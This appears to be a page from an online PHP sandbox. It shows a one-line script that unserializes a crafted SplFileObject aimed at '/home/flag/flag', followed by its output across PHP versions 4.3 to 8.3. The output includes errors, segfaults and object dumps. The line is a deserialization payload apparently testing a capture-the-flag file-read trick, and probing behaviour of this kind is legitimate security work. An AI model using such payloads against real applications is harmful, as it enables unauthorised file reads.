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<?php echo unserialize('O:13:"SplFileObject":1:{s:9:"*filename";s:15:"/home/flag/flag";}');
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Fatal error: Uncaught Exception: Unserialization of 'SplFileObject' is not allowed in /in/afF0e:2 Stack trace: #0 /in/afF0e(2): unserialize('O:13:"SplFileOb...') #1 {main} thrown in /in/afF0e on line 2
Process exited with code 255.
Output for 5.4.29 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.21, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.12 - 7.3.31, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
Warning: Erroneous data format for unserializing 'SplFileObject' in /in/afF0e on line 2 Notice: unserialize(): Error at offset 24 of 64 bytes in /in/afF0e on line 2
Output for 7.3.32 - 7.3.33
Warning: Erroneous data format for unserializing 'SplFileObject' in /in/afF0e on line 2
Output for 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.28

Process exited with code 139.
Output for 5.0.5
Object id #1
Output for 5.0.2 - 5.0.4
Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "SplFileObject" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in /in/afF0e on line 2
Process exited with code 255.
Output for 5.0.0 - 5.0.1
Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition <b>unknown</b> of the object you are trying to operate on was loaded _before_ the session was started in /in/afF0e on line 2
Process exited with code 255.
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9
Object

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